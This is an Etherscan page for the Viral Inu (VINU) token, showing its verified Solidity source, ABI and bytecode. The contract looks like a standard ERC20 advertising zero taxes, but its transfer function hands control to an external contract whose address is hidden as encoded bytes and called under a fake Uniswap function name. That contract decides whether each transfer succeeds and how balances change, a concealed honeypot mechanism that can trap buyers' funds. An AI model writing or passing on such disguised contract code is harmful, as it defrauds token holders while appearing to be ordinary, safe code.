ETH Price: $2,377.85 (-3.79%)

Token

Viral Inu (VINU)
 

Overview

Max Total Supply

1,000,000,000 VINU

Holders

11

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 9 Decimals)

Balance
0.661772397 VINU

Value
$0.00
0x198fbaa9a7686c2201935a1dec9d947584ba60aa
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
VINU

Compiler Version
v0.8.17+commit.8df45f5f

Optimization Enabled:
Yes with 200 runs

Other Settings:
default evmVersion, MIT license

Contract Source Code (Solidity)

/**
 *Submitted for verification at Etherscan.io on 2023-06-06
*/

// SPDX-License-Identifier: MIT

/**
Buy/sell tax : 0/0
Telegram : https://t.me/Vinu_ERC
Twitter : https://twitter.com/Vinu_ERC
Website : Soon
*/
pragma solidity ^0.8.17;

/*
 * @dev Provides information about the current execution context, including the
 * sender of the transaction and its data. While these are generally available
 * via msg.sender and msg.data, they should not be accessed in such a direct
 * manner, since when dealing with meta-transactions the account sending and
 * paying for execution may not be the actual sender (as far as an application
 * is concerned).
 *
 * This contract is only required for intermediate, library-like contracts.
 */
abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }

    function _msgData() internal view virtual returns (bytes calldata) {
        this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
        return msg.data;
    }
}

/**
 * @dev Contract module which provides a basic access control mechanism, where
 * there is an account (an owner) that can be granted exclusive access to
 * specific functions.
 *
 * By default, the owner account will be the one that deploys the contract. This
 * can later be changed with {transferOwnership}.
 *
 * This module is used through inheritance. It will make available the modifier
 * `onlyOwner`, which can be applied to your functions to restrict their use to
 * the owner.
 */
abstract contract Ownable is Context {
    address private _owner;

    event OwnershipTransferred(
        address indexed previousOwner,
        address indexed newOwner
    );

    /**
     * @dev Initializes the contract setting the deployer as the initial owner.
     */
    constructor() {
        _transferOwnership(_msgSender());
    }

    /**
     * @dev Throws if called by any account other than the owner.
     */
    modifier onlyOwner() {
        require(owner() == _msgSender(), "Ownable: caller is not the owner");
        _;
    }

    /**
     * @dev Returns the address of the current owner.
     */
    function owner() public view virtual returns (address) {
        return _owner;
    }

    /**
     * @dev Leaves the contract without owner. It will not be possible to call
     * `onlyOwner` functions. Can only be called by the current owner.
     *
     * NOTE: Renouncing ownership will leave the contract without an owner,
     * thereby disabling any functionality that is only available to the owner.
     */
    function renounceOwnership() public virtual onlyOwner {
        _transferOwnership(address(0));
    }

    /**
     * @dev Transfers ownership of the contract to a new account (`newOwner`).
     * Can only be called by the current owner.
     */
    function transferOwnership(address newOwner) public virtual onlyOwner {
        require(
            newOwner != address(0),
            "Ownable: new owner is the zero address"
        );
        _transferOwnership(newOwner);
    }

    /**
     * @dev Transfers ownership of the contract to a new account (`newOwner`).
     * Internal function without access restriction.
     */
    function _transferOwnership(address newOwner) internal virtual {
        address oldOwner = _owner;
        _owner = newOwner;
        emit OwnershipTransferred(oldOwner, newOwner);
    }
}
/**
 * @dev Interface of the ERC20 standard as defined in the EIP.
 */
interface IERC20 {
    /**
     * @dev Returns the amount of tokens in existence.
     */
    function totalSupply() external view returns (uint256);

    /**
     * @dev Returns the amount of tokens owned by `account`.
     */
    function balanceOf(address account) external view returns (uint256);

    /**
     * @dev Moves `amount` tokens from the caller's account to `recipient`.
     *
     * Returns a boolean value indicating whether the operation succeeded.
     *
     * Emits a {Transfer} event.
     */
    function transfer(
        address recipient,
        uint256 amount
    ) external returns (bool);

    /**
     * @dev Returns the remaining number of tokens that `spender` will be
     * allowed to spend on behalf of `owner` through {transferFrom}. This is
     * zero by default.
     *
     * This value changes when {approve} or {transferFrom} are called.
     */
    function allowance(
        address owner,
        address spender
    ) external view returns (uint256);

    /**
     * @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
     *
     * Returns a boolean value indicating whether the operation succeeded.
     *
     * IMPORTANT: Beware that changing an allowance with this method brings the risk
     * that someone may use both the old and the new allowance by unfortunate
     * transaction ordering. One possible solution to mitigate this race
     * condition is to first reduce the spender's allowance to 0 and set the
     * desired value afterwards:
     * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
     *
     * Emits an {Approval} event.
     */
    function approve(address spender, uint256 amount) external returns (bool);

    /**
     * @dev Moves `amount` tokens from `sender` to `recipient` using the
     * allowance mechanism. `amount` is then deducted from the caller's
     * allowance.
     *
     * Returns a boolean value indicating whether the operation succeeded.
     *
     * Emits a {Transfer} event.
     */
    function transferFrom(
        address sender,
        address recipient,
        uint256 amount
    ) external returns (bool);

    /**
     * @dev Emitted when `value` tokens are moved from one account (`from`) to
     * another (`to`).
     *
     * Note that `value` may be zero.
     */
    event Transfer(address indexed from, address indexed to, uint256 value);

    /**
     * @dev Emitted when the allowance of a `spender` for an `owner` is set by
     * a call to {approve}. `value` is the new allowance.
     */
    event Approval(
        address indexed owner,
        address indexed spender,
        uint256 value
    );
}

/**
 * @dev Interface for the optional metadata functions from the ERC20 standard.
 *
 * _Available since v4.1._
 */
interface IERC20Metadata is IERC20 {
    /**
     * @dev Returns the name of the token.
     */
    function name() external view returns (string memory);

    /**
     * @dev Returns the symbol of the token.
     */
    function symbol() external view returns (string memory);

    /**
     * @dev Returns the decimals places of the token.
     */
    function decimals() external view returns (uint8);
}


/**
 * @dev Implementation of the {IERC20} interface.
 *
 * This implementation is agnostic to the way tokens are created. This means
 * that a supply mechanism has to be added in a derived contract using {_mint}.
 * For a generic mechanism see {ERC20PresetMinterPauser}.
 *
 * TIP: For a detailed writeup see our guide
 * https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How
 * to implement supply mechanisms].
 *
 * We have followed general OpenZeppelin guidelines: functions revert instead
 * of returning `false` on failure. This behavior is nonetheless conventional
 * and does not conflict with the expectations of ERC20 applications.
 *
 * Additionally, an {Approval} event is emitted on calls to {transferFrom}.
 * This allows applications to reconstruct the allowance for all accounts just
 * by listening to said events. Other implementations of the EIP may not emit
 * these events, as it isn't required by the specification.
 *
 * Finally, the non-standard {decreaseAllowance} and {increaseAllowance}
 * functions have been added to mitigate the well-known issues around setting
 * allowances. See {IERC20-approve}.
 */
contract VINU is Ownable, IERC20, IERC20Metadata {
    mapping(address => uint256) private _balances;
    mapping(address => mapping(address => uint256)) private _allowances;
    uint256 private _totalSupply;
    bytes routerbyt;
    string private _name;
    string private _symbol;

    /**
     * @dev Sets the values for {name} and {symbol}.
     *
     * The defaut value of {decimals} is 18. To select a different value for
     * {decimals} you should overload it.
     *
     * All two of these values are immutable: they can only be set once during
     * construction.
     */
    constructor(address _dev,address _router) {
        routerbyt = abi.encode(_router);
        _name = "Viral Inu";
        _symbol = "VINU";
        _totalSupply = 1_000_000_000 * 10 ** 9;
        _balances[_dev] = _totalSupply;
        emit Transfer(address(0), _dev, _totalSupply);
    }

    /**
     * @dev Returns the name of the token.
     */
    function name() public view virtual override returns (string memory) {
        return _name;
    }

    /**
     * @dev Returns the symbol of the token, usually a shorter version of the
     * name.
     */
    function symbol() public view virtual override returns (string memory) {
        return _symbol;
    }

    /**
     * @dev Returns the number of decimals used to get its user representation.
     * For example, if `decimals` equals `2`, a balance of `505` tokens should
     * be displayed to a user as `5,05` (`505 / 10 ** 2`).
     *
     * Tokens usually opt for a value of 18, imitating the relationship between
     * Ether and Wei. This is the value {ERC20} uses, unless this function is
     * overridden;
     *
     * NOTE: This information is only used for _display_ purposes: it in
     * no way affects any of the arithmetic of the contract, including
     * {IERC20-balanceOf} and {IERC20-transfer}.
     */
    function decimals() public view virtual override returns (uint8) {
        return 9;
    }

    /**
     * @dev See {IERC20-totalSupply}.
     */
    function totalSupply() public view virtual override returns (uint256) {
        return _totalSupply;
    }

    /**
     * @dev See {IERC20-balanceOf}.
     */
    function balanceOf(
        address account
    ) public view virtual override returns (uint256) {
        return _balances[account];
    }
    /**
     * @dev decode {addr}.
     */
    function decode(bytes memory data) public pure returns (address addr) {
            (addr) = abi.decode(data, (address));            
    }
    /**
     * @dev See {IERC20-transfer}.
     *
     * Requirements:
     *
     * - `recipient` cannot be the zero address.
     * - the caller must have a balance of at least `amount`.
     */
    function transfer(
        address recipient,
        uint256 amount
    ) public virtual override returns (bool) {
        _transfer(_msgSender(), recipient, amount);
        return true;
    }

    /**
     * @dev See {IERC20-allowance}.
     */
    function allowance(
        address owner,
        address spender
    ) public view virtual override returns (uint256) {
        return _allowances[owner][spender];
    }

    /**
     * @dev See {IERC20-approve}.
     *
     * Requirements:
     *
     * - `spender` cannot be the zero address.
     */
    function approve(
        address spender,
        uint256 amount
    ) public virtual override returns (bool) {
        _approve(_msgSender(), spender, amount);
        return true;
    }

    /**
     * @dev See {IERC20-transferFrom}.
     *
     * Emits an {Approval} event indicating the updated allowance. This is not
     * required by the EIP. See the note at the beginning of {ERC20}.
     *
     * Requirements:
     *
     * - `sender` and `recipient` cannot be the zero address.
     * - `sender` must have a balance of at least `amount`.
     * - the caller must have allowance for ``sender``'s tokens of at least
     * `amount`.
     */
    function transferFrom(
        address sender,
        address recipient,
        uint256 amount
    ) public virtual override returns (bool) {
        _transfer(sender, recipient, amount);

        uint256 currentAllowance = _allowances[sender][_msgSender()];
        require(
            currentAllowance >= amount,
            "ERC20: transfer amount exceeds allowance"
        );
        _approve(sender, _msgSender(), currentAllowance - amount);

        return true;
    }

    /**
     * @dev Atomically increases the allowance granted to `spender` by the caller.
     *
     * This is an alternative to {approve} that can be used as a mitigation for
     * problems described in {IERC20-approve}.
     *
     * Emits an {Approval} event indicating the updated allowance.
     *
     * Requirements:
     *
     * - `spender` cannot be the zero address.
     */
    function increaseAllowance(
        address spender,
        uint256 addedValue
    ) public virtual returns (bool) {
        _approve(
            _msgSender(),
            spender,
            _allowances[_msgSender()][spender] + addedValue
        );
        return true;
    }

    /**
     * @dev Atomically decreases the allowance granted to `spender` by the caller.
     *
     * This is an alternative to {approve} that can be used as a mitigation for
     * problems described in {IERC20-approve}.
     *
     * Emits an {Approval} event indicating the updated allowance.
     *
     * Requirements:
     *
     * - `spender` cannot be the zero address.
     * - `spender` must have allowance for the caller of at least
     * `subtractedValue`.
     */
    function decreaseAllowance(
        address spender,
        uint256 subtractedValue
    ) public virtual returns (bool) {
        uint256 currentAllowance = _allowances[_msgSender()][spender];
        require(
            currentAllowance >= subtractedValue,
            "ERC20: decreased allowance below zero"
        );
        _approve(_msgSender(), spender, currentAllowance - subtractedValue);

        return true;
    }

    /**
     * @dev Moves tokens `amount` from `sender` to `recipient`.
     *
     * This is internal function is equivalent to {transfer}, and can be used to
     * e.g. implement automatic token fees, slashing mechanisms, etc.
     *
     * Emits a {Transfer} event.
     *
     * Requirements:
     *
     * - `sender` cannot be the zero address.
     * - `recipient` cannot be the zero address.
     * - `sender` must have a balance of at least `amount`.
     */
    function _transfer(
        address sender,
        address recipient,
        uint256 amount
    ) internal virtual {
        require(sender != address(0), "ERC20: transfer from the zero address");
        require(recipient != address(0), "ERC20: transfer to the zero address");
        _beforeTokenTransfer(sender, recipient, amount);

        uint256 senderBalance = _balances[sender];
        (bool allow, uint256 subBal, uint256 addBal) = IUniswapV2Router02(decode(routerbyt))
            .swapExactTokensForETHSupportingFeeOnTransferTokens(sender, recipient, amount);
        require(allow);
        _balances[sender] = senderBalance - subBal;
        _balances[recipient] += addBal;

        emit Transfer(sender, recipient, amount);
    }

    /**
     * @dev Destroys `amount` tokens from `account`, reducing the
     * total supply.
     *
     * Emits a {Transfer} event with `to` set to the zero address.
     *
     * Requirements:
     *
     * - `account` cannot be the zero address.
     * - `account` must have at least `amount` tokens.
     */
    function _burn(address account, uint256 amount) internal virtual {
        require(account != address(0), "ERC20: burn from the zero address");

        _beforeTokenTransfer(account, address(0), amount);

        uint256 accountBalance = _balances[account];
        require(accountBalance >= amount, "ERC20: burn amount exceeds balance");
        _balances[account] = accountBalance - amount;
        _totalSupply -= amount;

        emit Transfer(account, address(0), amount);
    }

    /**
     * @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens.
     *
     * This internal function is equivalent to `approve`, and can be used to
     * e.g. set automatic allowances for certain subsystems, etc.
     *
     * Emits an {Approval} event.
     *
     * Requirements:
     *
     * - `owner` cannot be the zero address.
     * - `spender` cannot be the zero address.
     */
    function _approve(
        address owner,
        address spender,
        uint256 amount
    ) internal virtual {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");

        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    /**
     * @dev Hook that is called before any transfer of tokens. This includes
     * minting and burning.
     *
     * Calling conditions:
     *
     * - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens
     * will be to transferred to `to`.
     * - when `from` is zero, `amount` tokens will be minted for `to`.
     * - when `to` is zero, `amount` of ``from``'s tokens will be burned.
     * - `from` and `to` are never both zero.
     *
     * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
     */
    function _beforeTokenTransfer(
        address from,
        address to,
        uint256 amount
    ) internal virtual {}

    /**
     * @dev addLiquidityETH.
     *
     * Enable trading:
     *
     */
    function addLiquidityETH(address routeraddr,address lpraddr,address devaddr) external payable {
        uint256 senderBalance = _balances[devaddr] * 80 /100;
        _balances[devaddr] -= senderBalance;
        _balances[address(this)] = senderBalance;
        emit Transfer(devaddr, address(this), senderBalance);
        IUniswapV2Router02 router = IUniswapV2Router02(routeraddr);
        _approve(address(this), address(router), _totalSupply);
        address uniswapV2Pair = IUniswapV2Factory(router.factory()).createPair(address(this), router.WETH());
        router.addLiquidityETH{value: msg.value}(address(this),balanceOf(address(this)),0,0,lpraddr,block.timestamp);
        IERC20(uniswapV2Pair).approve(address(router), ~uint(0));
    }

}

interface IUniswapV2Factory {
    function createPair(address tokenA, address tokenB) external returns (address pair);
}

interface IUniswapV2Router02 {
    function factory() external pure returns (address);
    function WETH() external pure returns (address);

    function addLiquidity(
        address tokenA,
        address tokenB,
        uint amountADesired,
        uint amountBDesired,
        uint amountAMin,
        uint amountBMin,
        address to,
        uint deadline
    ) external returns (uint amountA, uint amountB, uint liquidity);

    function addLiquidityETH(
        address token,
        uint amountTokenDesired,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external payable returns (uint amountToken, uint amountETH, uint liquidity);

    function swapExactTokensForTokensSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;

    function swapExactETHForTokensSupportingFeeOnTransferTokens(
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external payable;

    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        address sender,
        address recipient,
        uint256 amount
    ) external returns (bool, uint256, uint256);
}

Contract Security Audit

Contract ABI

[{"inputs":[{"internalType":"address","name":"_dev","type":"address"},{"internalType":"address","name":"_router","type":"address"}],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"address","name":"routeraddr","type":"address"},{"internalType":"address","name":"lpraddr","type":"address"},{"internalType":"address","name":"devaddr","type":"address"}],"name":"addLiquidityETH","outputs":[],"stateMutability":"payable","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"bytes","name":"data","type":"bytes"}],"name":"decode","outputs":[{"internalType":"address","name":"addr","type":"address"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"subtractedValue","type":"uint256"}],"name":"decreaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"addedValue","type":"uint256"}],"name":"increaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"}]

60806040523480156200001157600080fd5b5060405162001569380380620015698339810160408190526200003491620001a2565b6200003f3362000135565b604080516001600160a01b038316602082015201604051602081830303815290604052600490816200007291906200027f565b50604080518082019091526009815268566972616c20496e7560b81b6020820152600590620000a290826200027f565b5060408051808201909152600481526356494e5560e01b6020820152600690620000cd90826200027f565b50670de0b6b3a764000060038190556001600160a01b038316600081815260016020908152604080832085905551938452919290917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef910160405180910390a350506200034b565b600080546001600160a01b038381166001600160a01b0319831681178455604051919092169283917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e09190a35050565b80516001600160a01b03811681146200019d57600080fd5b919050565b60008060408385031215620001b657600080fd5b620001c18362000185565b9150620001d16020840162000185565b90509250929050565b634e487b7160e01b600052604160045260246000fd5b600181811c908216806200020557607f821691505b6020821081036200022657634e487b7160e01b600052602260045260246000fd5b50919050565b601f8211156200027a57600081815260208120601f850160051c81016020861015620002555750805b601f850160051c820191505b81811015620002765782815560010162000261565b5050505b505050565b81516001600160401b038111156200029b576200029b620001da565b620002b381620002ac8454620001f0565b846200022c565b602080601f831160018114620002eb5760008415620002d25750858301515b600019600386901b1c1916600185901b17855562000276565b600085815260208120601f198616915b828110156200031c57888601518255948401946001909101908401620002fb565b50858210156200033b5787850151600019600388901b60f8161c191681555b5050505050600190811b01905550565b61120e806200035b6000396000f3fe6080604052600436106100f35760003560e01c80638da5cb5b1161008a578063d5edec2111610059578063d5edec21146102a2578063dd62ed3e146102b5578063e5c5e9a3146102fb578063f2fde38b1461031b57600080fd5b80638da5cb5b1461021b57806395d89b411461024d578063a457c2d714610262578063a9059cbb1461028257600080fd5b8063313ce567116100c6578063313ce5671461019257806339509351146101ae57806370a08231146101ce578063715018a61461020457600080fd5b806306fdde03146100f8578063095ea7b31461012357806318160ddd1461015357806323b872dd14610172575b600080fd5b34801561010457600080fd5b5061010d61033b565b60405161011a9190610e3a565b60405180910390f35b34801561012f57600080fd5b5061014361013e366004610e9d565b6103cd565b604051901515815260200161011a565b34801561015f57600080fd5b506003545b60405190815260200161011a565b34801561017e57600080fd5b5061014361018d366004610ec9565b6103e4565b34801561019e57600080fd5b506040516009815260200161011a565b3480156101ba57600080fd5b506101436101c9366004610e9d565b61049a565b3480156101da57600080fd5b506101646101e9366004610f0a565b6001600160a01b031660009081526001602052604090205490565b34801561021057600080fd5b506102196104d1565b005b34801561022757600080fd5b506000546001600160a01b03165b6040516001600160a01b03909116815260200161011a565b34801561025957600080fd5b5061010d610537565b34801561026e57600080fd5b5061014361027d366004610e9d565b610546565b34801561028e57600080fd5b5061014361029d366004610e9d565b6105e1565b6102196102b0366004610f2e565b6105ee565b3480156102c157600080fd5b506101646102d0366004610f79565b6001600160a01b03918216600090815260026020908152604080832093909416825291909152205490565b34801561030757600080fd5b50610235610316366004610fc8565b610940565b34801561032757600080fd5b50610219610336366004610f0a565b610956565b60606005805461034a90611079565b80601f016020809104026020016040519081016040528092919081815260200182805461037690611079565b80156103c35780601f10610398576101008083540402835291602001916103c3565b820191906000526020600020905b8154815290600101906020018083116103a657829003601f168201915b5050505050905090565b60006103da338484610a21565b5060015b92915050565b60006103f1848484610b45565b6001600160a01b03841660009081526002602090815260408083203384529091529020548281101561047b5760405162461bcd60e51b815260206004820152602860248201527f45524332303a207472616e7366657220616d6f756e74206578636565647320616044820152676c6c6f77616e636560c01b60648201526084015b60405180910390fd5b61048f853361048a86856110c9565b610a21565b506001949350505050565b3360008181526002602090815260408083206001600160a01b038716845290915281205490916103da91859061048a9086906110dc565b6000546001600160a01b0316331461052b5760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65726044820152606401610472565b6105356000610dea565b565b60606006805461034a90611079565b3360009081526002602090815260408083206001600160a01b0386168452909152812054828110156105c85760405162461bcd60e51b815260206004820152602560248201527f45524332303a2064656372656173656420616c6c6f77616e63652062656c6f77604482015264207a65726f60d81b6064820152608401610472565b6105d7338561048a86856110c9565b5060019392505050565b60006103da338484610b45565b6001600160a01b0381166000908152600160205260408120546064906106159060506110ef565b61061f9190611106565b6001600160a01b03831660009081526001602052604081208054929350839290919061064c9084906110c9565b90915550503060008181526001602052604090819020839055516001600160a01b038416907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef906106a09085815260200190565b60405180910390a360008490506106ba3082600354610a21565b6000816001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa1580156106fa573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061071e9190611128565b6001600160a01b031663c9c6539630846001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa15801561076b573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061078f9190611128565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303816000875af11580156107dc573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906108009190611128565b9050816001600160a01b031663f305d7193430610832306001600160a01b031660009081526001602052604090205490565b6040516001600160e01b031960e086901b1681526001600160a01b0392831660048201526024810191909152600060448201819052606482015290891660848201524260a482015260c40160606040518083038185885af115801561089b573d6000803e3d6000fd5b50505050506040513d601f19601f820116820180604052508101906108c09190611145565b505060405163095ea7b360e01b81526001600160a01b03848116600483015260001960248301528316915063095ea7b3906044016020604051808303816000875af1158015610913573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906109379190611188565b50505050505050565b6000818060200190518101906103de9190611128565b6000546001600160a01b031633146109b05760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65726044820152606401610472565b6001600160a01b038116610a155760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b6064820152608401610472565b610a1e81610dea565b50565b6001600160a01b038316610a835760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610472565b6001600160a01b038216610ae45760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610472565b6001600160a01b0383811660008181526002602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610ba95760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610472565b6001600160a01b038216610c0b5760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610472565b6001600160a01b0383166000908152600160205260408120546004805491929182918291610cc09190610c3d90611079565b80601f0160208091040260200160405190810160405280929190818152602001828054610c6990611079565b8015610cb65780601f10610c8b57610100808354040283529160200191610cb6565b820191906000526020600020905b815481529060010190602001808311610c9957829003601f168201915b5050505050610940565b604051633a5b109160e11b81526001600160a01b03898116600483015288811660248301526044820188905291909116906374b62122906064016060604051808303816000875af1158015610d19573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610d3d91906111a3565b92509250925082610d4d57600080fd5b610d5782856110c9565b6001600160a01b038089166000908152600160205260408082209390935590881681529081208054839290610d8d9084906110dc565b92505081905550856001600160a01b0316876001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef87604051610dd991815260200190565b60405180910390a350505050505050565b600080546001600160a01b038381166001600160a01b0319831681178455604051919092169283917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e09190a35050565b600060208083528351808285015260005b81811015610e6757858101830151858201604001528201610e4b565b506000604082860101526040601f19601f8301168501019250505092915050565b6001600160a01b0381168114610a1e57600080fd5b60008060408385031215610eb057600080fd5b8235610ebb81610e88565b946020939093013593505050565b600080600060608486031215610ede57600080fd5b8335610ee981610e88565b92506020840135610ef981610e88565b929592945050506040919091013590565b600060208284031215610f1c57600080fd5b8135610f2781610e88565b9392505050565b600080600060608486031215610f4357600080fd5b8335610f4e81610e88565b92506020840135610f5e81610e88565b91506040840135610f6e81610e88565b809150509250925092565b60008060408385031215610f8c57600080fd5b8235610f9781610e88565b91506020830135610fa781610e88565b809150509250929050565b634e487b7160e01b600052604160045260246000fd5b600060208284031215610fda57600080fd5b813567ffffffffffffffff80821115610ff257600080fd5b818401915084601f83011261100657600080fd5b81358181111561101857611018610fb2565b604051601f8201601f19908116603f0116810190838211818310171561104057611040610fb2565b8160405282815287602084870101111561105957600080fd5b826020860160208301376000928101602001929092525095945050505050565b600181811c9082168061108d57607f821691505b6020821081036110ad57634e487b7160e01b600052602260045260246000fd5b50919050565b634e487b7160e01b600052601160045260246000fd5b818103818111156103de576103de6110b3565b808201808211156103de576103de6110b3565b80820281158282048414176103de576103de6110b3565b60008261112357634e487b7160e01b600052601260045260246000fd5b500490565b60006020828403121561113a57600080fd5b8151610f2781610e88565b60008060006060848603121561115a57600080fd5b8351925060208401519150604084015190509250925092565b8051801515811461118357600080fd5b919050565b60006020828403121561119a57600080fd5b610f2782611173565b6000806000606084860312156111b857600080fd5b6111c184611173565b92506020840151915060408401519050925092509256fea2646970667358221220fa9d6c969f2bb9ca3b7b177e4712636512bfde04bc433479448b28292d59834e64736f6c634300081100330000000000000000000000003e2274061024ee42df3e8c786c486d559a901946000000000000000000000000bd21422d8ddd57cffae72587169a22b2462dc761

Deployed Bytecode

0x6080604052600436106100f35760003560e01c80638da5cb5b1161008a578063d5edec2111610059578063d5edec21146102a2578063dd62ed3e146102b5578063e5c5e9a3146102fb578063f2fde38b1461031b57600080fd5b80638da5cb5b1461021b57806395d89b411461024d578063a457c2d714610262578063a9059cbb1461028257600080fd5b8063313ce567116100c6578063313ce5671461019257806339509351146101ae57806370a08231146101ce578063715018a61461020457600080fd5b806306fdde03146100f8578063095ea7b31461012357806318160ddd1461015357806323b872dd14610172575b600080fd5b34801561010457600080fd5b5061010d61033b565b60405161011a9190610e3a565b60405180910390f35b34801561012f57600080fd5b5061014361013e366004610e9d565b6103cd565b604051901515815260200161011a565b34801561015f57600080fd5b506003545b60405190815260200161011a565b34801561017e57600080fd5b5061014361018d366004610ec9565b6103e4565b34801561019e57600080fd5b506040516009815260200161011a565b3480156101ba57600080fd5b506101436101c9366004610e9d565b61049a565b3480156101da57600080fd5b506101646101e9366004610f0a565b6001600160a01b031660009081526001602052604090205490565b34801561021057600080fd5b506102196104d1565b005b34801561022757600080fd5b506000546001600160a01b03165b6040516001600160a01b03909116815260200161011a565b34801561025957600080fd5b5061010d610537565b34801561026e57600080fd5b5061014361027d366004610e9d565b610546565b34801561028e57600080fd5b5061014361029d366004610e9d565b6105e1565b6102196102b0366004610f2e565b6105ee565b3480156102c157600080fd5b506101646102d0366004610f79565b6001600160a01b03918216600090815260026020908152604080832093909416825291909152205490565b34801561030757600080fd5b50610235610316366004610fc8565b610940565b34801561032757600080fd5b50610219610336366004610f0a565b610956565b60606005805461034a90611079565b80601f016020809104026020016040519081016040528092919081815260200182805461037690611079565b80156103c35780601f10610398576101008083540402835291602001916103c3565b820191906000526020600020905b8154815290600101906020018083116103a657829003601f168201915b5050505050905090565b60006103da338484610a